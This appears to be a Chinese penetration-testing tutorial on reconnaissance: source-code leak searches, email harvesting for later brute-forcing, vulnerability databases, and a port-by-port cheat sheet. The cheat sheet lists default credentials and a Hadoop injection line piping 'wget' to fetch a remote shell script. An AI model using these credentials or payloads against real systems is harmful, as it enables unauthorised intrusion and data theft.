草庐IT

渗透测试之敏感信息收集

TXG_818 2024-05-05 原文

二、敏感信息收集

    1. Web源代码泄露

最想强调的是源代码信息泄露了,直接去github、国内csdn平台、码云上搜索,收获往往是大于付出。可能有人不自信认为没能力去SRC挖洞,可是肯定不敢说不会上网不会搜索。github相关的故事太多,但是给人引出的信息泄露远远不仅在这里:github.com、rubygems.org、pan.baidu.com…

QQ群备注或介绍等,甚至混入企业qq工作群…

然后说再多,也没这个好用:https://sec.xiaomi.com/article/37 全自动监控github

源代码信息泄露收集可能会用到如下地址:

网盘搜索:http://www.pansou.com/或https://www.lingfengyun.com/ 网盘密码破解可参考:https://www.52pojie.cn/thread-763130-1-1.html

源码搜索:https://searchcode.com/、https://gitee.com/、gitcafe.com、code.csdn.net

Gitee - 基于 Git 的代码托管和研发协作平台

 

2.2 邮箱信息收集

收集邮箱信息主要有两个作用:1.通过发现目标系统账号的命名规律,可以用来后期登入其他子系统。2.爆破登入邮箱用。

通常邮箱的账号有如下几种生成规律: 比如某公司有员工名叫做“老马”,它的邮箱可能如下:

怎么找到这个人的昵称呢?请看11.1GoogleHack谷歌搜索引擎用法

Xiaomage@xxx.com  sxt@xxx.com    Tony@xxx.com

当我们收集几个邮箱之后,便会大致猜出对方邮箱的命名规律。除了员工的邮箱之外,通过公司会有一些共有的邮箱,比如人力的邮箱、客服的邮箱,hr@xxx.com/kefu@xxx.com,这种邮箱有时会存在弱口令,在渗透时可额外留意一下。我们可以通过手工或者工具的方式来确定搜集邮箱

手工的方式:

1.可以到百度等搜索引擎上搜索邮箱信息

2.github等第三方托管平台   3.社工库

社工库信息泄露:https://www.instantcheckmate.com/

工具方式:

在邮箱收集领域不得不提一个经典的工具,The Harvester,The Harvester可用于搜索Google、Bing和PGP服务器的电子邮件、主机以及子域名,因此需要翻墙运行该工具。工具下载地址为:https://github.com/laramies/theHarvester

• 注:python -m pip install -r requirements.txt 导入相关配置,python3.6版本

使用方式很简单:

./theHarvester.py -d 域名 -1 1000 -b all

2.3 历史漏洞收集

仔细分析,大胆验证,发散思维,对企业的运维、开发习惯了解绝对是有很大的帮助。可以把漏洞保存下来,进行统计,甚至炫一点可以做成词云展示给自己看,看着看着或者就知道会有什么漏洞。

wooyun 历史漏洞库:http://www.anquan.us/ 、http://wooyun.2xss.cc/

教育行业漏洞报告平台(Beta)https://src.edu-info.edu.cn/login/

SRC众测平台

国际漏洞提交平台 https://www.hackerone.com/

BugX区块链漏洞平台 http://www.bugx.org/

Gsrc瓜子src https://security.guazi.com/

区块链安全响应中心 https://dvpnet.io/

CNVD国家信息安全漏洞平台 http://www.cnvd.org.cn/

漏洞银行:https://www.bugbank.cn/

360补天:https://www.butian.net/

教育行业漏洞报告平台(Beta)https://src.edu-info.edu.cn/login/

国内平台

知道创宇seebug漏洞平台 https://www.seebug.org/

工控系统行业漏洞平台 http://ivd.winicssec.com/

打造中文最大exploit库 http://www.expku.com/

为数不多的漏洞管理插件收集平台 http://www.bugscan.net/source/template/vulns/

一家管理漏洞收集的平台 漏洞银行

国外平台

国际漏洞提交平台 https://www.hackerone.com/

xss poc http://xssor.io/

oday漏洞库 https://www.0day.today/

路由器漏洞库 http://routerpwn.com/

cve漏洞平台 http://cve.mitre.org/

github泄露:

in:name test #仓库标题搜索含有关键字

SpringCloudin:descripton test #仓库描述搜索含有关键字

in:readme test #Readme文件搜素含有关键字

stars:>3000 test #stars数量大于3000的搜索关键字

stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字

forks:>1000 test #forks数量大于1000的搜索关键字

forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字

size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字

pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字

created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字

user:test #用户名搜素license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字

language:java test #在java语言的代码中搜索关键字

user:test in:name test #组合搜索,用户名test的标题含有test的。

 

2.4常见漏洞

快速扫描:

Masscan -p80,800 ip --rate=10000

21 / FTP

匿名/暴力破解

拒绝服务

22 / SSH

暴力破解

23 / telnet

Winbox(CVE-2018-14847)

https://github.com/BasuCert/WinboxPoC

弱口令 / 暴力破解

161 / snmp

弱口令

https://blog.csdn.net/archersaber39/article/details/78932252

389 / ladp

匿名访问

https://www.cnblogs.com/persuit/p/5706432.html

ladp注入

http://www.4hou.com/technology/9090.html

https://www.freebuf.com/articles/web/149059.html

443 / ssl

openssl心脏出血

https://paper.seebug.org/437/

http://www.anquan.us/static/drops/papers-1381.html

https://www.freebuf.com/sectool/33191.html

445 / smb

win10拒绝服务

永恒之蓝RCE

875 / rsync

匿名访问

http://www.anquan.us/static/bugs/wooyun-2016-0190815.html

https://paper.seebug.org/409/

http://www.91ri.org/11093.html

1433 / mssql

暴力破解

http://www.anquan.us/static/drops/tips-12749.  html

https://www.seebug.org/appdir/Microsoft%20SQL%20Server

1521 / oracle

暴力破解

https://www.exploit-db.com/exploits/33084

2601 / zebra

http://www.anquan.us/static/bugs/wooyun-2013-047409.html

3128 / squid

3306 / mysql

RCE

http://www.91ri.org/17511.html

CVE-2015-0411

hash破解

https://www.freebuf.com/column/153561.html

waf绕过

https://www.freebuf.com/articles/web/155570.html

general_log_file getshell

https://www.freebuf.com/column/143125.html

提权

http://www.91ri.org/16540.html

3312 / kangle

getshell

https://www.secpulse.com/archives/23927.html

3389 / rdp

shift 放大镜 输入法绕过 guest用户

永恒之蓝(ESTEEMAUDIT)

https://www.freebuf.com/articles/system/132171.html

https://www.anquanke.com/post/id/86328

ms12-020

https://blog.csdn.net/meyo_leo/article/details/77950552

4440 / rundeck

https://www.secpulse.com/archives/29500.html

4848 / glassfish

文件读取

https://www.secpulse.com/archives/42277.html

https://www.anquanke.com/post/id/85948

GlassFish2 / admin:admin GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误

5432 / PostgreSQL

RCE

https://www.cnblogs.com/KevinGeorge/p/8521496.html

https://www.secpulse.com/archives/69153.html

默认账号postgres

参考

http://www.91ri.org/13070.html

http://www.91ri.org/6507.html

5672,15672,4369,25672 / RabbitMQ

(guest/guest)

5900 / VNC

https://www.seebug.org/appdir/RealVNC

5984 / CouchDB

http://xxx:5984/_utils/

6082 / varnish

CLI 未授权

https://www.secpulse.com/archives/10681.html

6379 / redis

Redis未授权

ssh publickey

crontab

webshell

反序列化

开机自启文件夹写bat

参考

https://www.freebuf.com/column/170710.html

7001,7002 / WebLogic

默认弱口令

weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic

反序列

CVE-2018-2628

https://www.freebuf.com/articles/web/169770.html

https://www.seebug.org/appdir/WebLogic

9200,9300 / elasticsearch

CVE-2015-1427

http://www.anquan.us/static/drops/papers-5142.html

CVE-2018-17246

https://www.seebug.org/vuldb/ssvid-97730

参考

https://www.seebug.org/search/?keywords=elasticsearch

9000 / fcgi

https://paper.seebug.org/289/

9043 / WebSphere

Websphere8.5

https://localhost:9043/ibm/console/logon.jsp

Websphere6-7

http://localhost:9043/ibm/console

后台未授权,登录后可部署WAR包

SOAP服务有反序列化

弱口令:admin / password

11211 / memcache

未授权

UDP反射

https://shockerli.net/post/memcached-udp-reflection-attack-bug/

27017,27018 / Mongodb

未授权

注入

https://www.anquanke.com/post/id/83763

phpMoAdmin RCE

https://www.aqniu.com/threat-alert/6978.html

50000 / SAP

SAP命令执行

https://www.secpulse.com/archives/20204.html

50070,50030 / hadoop

未授权

https://www.freebuf.com/vuls/173638.html

命令执行

host:50060/pstack?pid=123|wget http://somehost/shell.sh

https://www.seebug.org/search/?keywords=hadoop

其他

http://www.91ri.org/15441.html

2.5DNS域传送漏洞

dnsenum的目的是尽可能收集一个域的信息,它能够通过谷歌或者字典文件猜测可能存在的域名,以及对一个网段进行反向查询。它可以查询网站的主机地址信息、域名服务器、mx record(函件交换记录),在域名服务器上执行axfr请求,通过谷歌脚本得到扩展域名信息(google hacking),提取自域名并查询,计算C类地址并执行whois查询,执行反向查询,把地址段写入文件。

用法:

在kail 中 dnsenum +域名 -f/dns.txt –dnserver

dnsenum参数说明:

-h 查看工具使用帮助

–dnsserver 指定域名服务器

–enum 快捷选项,相当于"–threads 5 -s 15 -w"

–noreverse 跳过反向查询操作

–nocolor 无彩色输出

–private 显示并在"domain_ips.txt"文件结尾保存私有的ips

–subfile 写入所有有效的子域名到指定文件

-t, --timeout tcp或者udp的连接超时时间,默认为10s(时间单位:秒)

–threads 查询线程数

-v, --verbose 显示所有的进度和错误消息

-o ,–output 输出选项,将输出信息保存到指定文件

-e, --exclude 反向查询选项,从反向查询结果中排除与正则表达式相符的PTR记录,在排查无效主机上非常有用

-w, --whois 在一个C段网络地址范围提供whois查询

-f dns.txt 指定字典文件,可以换成 dns-big.txt 也可以自定义字典

相关解析记录说明可参考:

DNS记录类型介绍(A记录、MX记录、NS记录等) - 百度文库

2.6工具信息收集

如:7kbscan、破壳Web极速扫描器等

2.7指纹、waf 、CDN信息收集

2.7.1.在线识纹识别网址:

指纹识别存在通杀漏洞

http://whatweb.bugscaner.com/look/

http://www.yunsee.cn/finger.html

指纹识别查询|:whatweb.bugscaner.com/look/

2.7.2.Waf识别

github.com/Enablesecurity/wafw00f

2.7.3.CDN识别

https://raw.githubusercontent.com/3xp10it/mytools/master/xcdn.py

验证是否存在CDN

方法1:
使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/

方法2:
试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.
nslookup http://example.com

方法3:
在线工具查看是否存在CDN,可以参考以下站点:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html

2.7.4.常见指纹检测的对象

1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;

2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;

3、Web服务器:比如Apache、lighttpd, Nginx, iis等;

4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;

5、开发语言:比如PHP、Java、Ruby、Python、C#等;

6、操作系统信息:比如linux、win2k8、win7、kali、centos等;

7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;

8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;

9、iP及域名信息:iP和域名注册信息、服务商信息等;

10、端口信息:有些软件或平台还会探测服务器开放的常见端口。

2.7.5.常见指纹识别软件

Wappalyzer(集成在浏览器或可单独)

whatweb(集成在kali)

what web -v(详细信息)+ 域名

Web Develpoer(浏览器集成)

御剑web指纹识别

wtfscan

2.7.6.常见指纹识别方式

1、特定文件的MD5

一些网站的特定图片文件、js文件、css等静态文件,如favicon.ico、css、logo.ico、js等文件一般不会修改,通过爬虫对这些文件进行抓取并比对md5值,如果和规则库中的Md5一致则说明是同一cms。这种方式速度比较快,误报率相对低一些,但也不排除有些二次开发的cms会修改这些文件。获得哈希值,工具对比。

2、正常页面或错误网页中包含的关键字

先访问首页或特定页面如robots.txt等,通过正则的方式去匹配某些关键字,如Powered by Discuz、dedecms等。

或者可以构造错误页面,根据报错信息来判断使用的cms或者中间件信息,比较常见的如tomcat的报错页面。

3、请求头信息的关键字匹配

根据网站response返回头信息进行关键字匹配,whatweb和Wappalyzer就是通过banner信息来快速识别指纹,

之前fofa的web指纹库很多都是使用的这种方法,效率非常高,基本请求一次就可以,但搜集这些规则可能会耗时很长。

而且这些banner信息有些很容易被改掉。

根据response header一般有以下几种识别方式:

查看http响应报头的X-Powered-By字段来识别;

根据Cookies来进行判断

比如一些waf会在返回头中包含一些信息,如360wzws、safedog、yunsuo等;

根据header中的server信息来判断

如DVRDVs-Webs、yunjiasu-nginx、Mod_security、nginx-wallarm等;

根据WWW-Authenticate进行判断一些路由交换设备可能存在这个字段,如NETCORE、huawei、h3c等设备。

4、部分URL中包含的关键字

比如wp-includes、dede等URL关键特征通过规则库去探测是否有相应目录,

或者根据爬虫结果对链接url进行分析,或者对robots.txt文件中目录进行检测等等方式,通过url地址来判别是否使用了某CMs,

比如wordpress默认存在wp-includes和wp-admin目录,织梦默认管理后台为dede目录,solr平台可能使用/solr目录,weblogic可能使用wls-wsat目录等。

5、开发语言的识别

web开发语言一般常见的有PHP、jsp、aspx、asp等,常见的识别方式有:

通过爬虫获取动态链接进行直接判断是比较简便的方法。

asp判别规则如下

<a[>]*?href=(‘|”)[http][^>]*?.asp(?|#|\1),其他语言可替换相应asp即可。

通过X-Powered-By进行识别

比较常见的有X-Powered-By: AsP.NET或者X-Powered-By: PHP/7.1.8

通过set-Cookie进行识别

这种方法比较常见也很快捷,比如set-Cookie中包含PHPssiONiD说明是php、包含jsessionid说明是java、包含asp.net_sessionid说明是aspx等。

有关渗透测试之敏感信息收集的更多相关文章

  1. ruby-on-rails - 使用 Ruby on Rails 进行自动化测试 - 最佳实践 - 2

    很好奇,就使用ruby​​onrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提

  2. ruby-on-rails - Rails 常用字符串(用于通知和错误信息等) - 2

    大约一年前,我决定确保每个包含非唯一文本的Flash通知都将从模块中的方法中获取文本。我这样做的最初原因是为了避免一遍又一遍地输入相同的字符串。如果我想更改措辞,我可以在一个地方轻松完成,而且一遍又一遍地重复同一件事而出现拼写错误的可能性也会降低。我最终得到的是这样的:moduleMessagesdefformat_error_messages(errors)errors.map{|attribute,message|"Error:#{attribute.to_s.titleize}#{message}."}enddeferror_message_could_not_find(obje

  3. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  4. ruby - 使用 C 扩展开发 ruby​​gem 时,如何使用 Rspec 在本地进行测试? - 2

    我正在编写一个包含C扩展的gem。通常当我写一个gem时,我会遵循TDD的过程,我会写一个失败的规范,然后处理代码直到它通过,等等......在“ext/mygem/mygem.c”中我的C扩展和在gemspec的“扩展”中配置的有效extconf.rb,如何运行我的规范并仍然加载我的C扩展?当我更改C代码时,我需要采取哪些步骤来重新编译代码?这可能是个愚蠢的问题,但是从我的gem的开发源代码树中输入“bundleinstall”不会构建任何native扩展。当我手动运行rubyext/mygem/extconf.rb时,我确实得到了一个Makefile(在整个项目的根目录中),然后当

  5. ruby - Ruby 的 Hash 在比较键时使用哪种相等性测试? - 2

    我有一个围绕一些对象的包装类,我想将这些对象用作散列中的键。包装对象和解包装对象应映射到相同的键。一个简单的例子是这样的:classAattr_reader:xdefinitialize(inner)@inner=innerenddefx;@inner.x;enddef==(other)@inner.x==other.xendenda=A.new(o)#oisjustanyobjectthatallowso.xb=A.new(o)h={a=>5}ph[a]#5ph[b]#nil,shouldbe5ph[o]#nil,shouldbe5我试过==、===、eq?并散列所有无济于事。

  6. ruby - RSpec - 使用测试替身作为 block 参数 - 2

    我有一些Ruby代码,如下所示:Something.createdo|x|x.foo=barend我想编写一个测试,它使用double代替block参数x,这样我就可以调用:x_double.should_receive(:foo).with("whatever").这可能吗? 最佳答案 specify'something'dox=doublex.should_receive(:foo=).with("whatever")Something.should_receive(:create).and_yield(x)#callthere

  7. ruby - Sinatra:运行 rspec 测试时记录噪音 - 2

    Sinatra新手;我正在运行一些rspec测试,但在日志中收到了一堆不需要的噪音。如何消除日志中过多的噪音?我仔细检查了环境是否设置为:test,这意味着记录器级别应设置为WARN而不是DEBUG。spec_helper:require"./app"require"sinatra"require"rspec"require"rack/test"require"database_cleaner"require"factory_girl"set:environment,:testFactoryGirl.definition_file_paths=%w{./factories./test/

  8. ruby-on-rails - 迷你测试错误 : "NameError: uninitialized constant" - 2

    我遵循MichaelHartl的“RubyonRails教程:学习Web开发”,并创建了检查用户名和电子邮件长度有效性的测试(名称最多50个字符,电子邮件最多255个字符)。test/helpers/application_helper_test.rb的内容是:require'test_helper'classApplicationHelperTest在运行bundleexecraketest时,所有测试都通过了,但我看到以下消息在最后被标记为错误:ERROR["test_full_title_helper",ApplicationHelperTest,1.820016791]test

  9. ruby - 即使失败也继续进行多主机测试 - 2

    我已经构建了一些serverspec代码来在多个主机上运行一组测试。问题是当任何测试失败时,测试会在当前主机停止。即使测试失败,我也希望它继续在所有主机上运行。Rakefile:namespace:specdotask:all=>hosts.map{|h|'spec:'+h.split('.')[0]}hosts.eachdo|host|begindesc"Runserverspecto#{host}"RSpec::Core::RakeTask.new(host)do|t|ENV['TARGET_HOST']=hostt.pattern="spec/cfengine3/*_spec.r

  10. ruby-on-rails - 如何使辅助方法在 Rails 集成测试中可用? - 2

    我在app/helpers/sessions_helper.rb中有一个帮助程序文件,其中包含一个方法my_preference,它返回当前登录用户的首选项。我想在集成测试中访问该方法。例如,这样我就可以在测试中使用getuser_path(my_preference)。在其他帖子中,我读到这可以通过在测试文件中包含requiresessions_helper来实现,但我仍然收到错误NameError:undefinedlocalvariableormethod'my_preference'.我做错了什么?require'test_helper'require'sessions_hel

随机推荐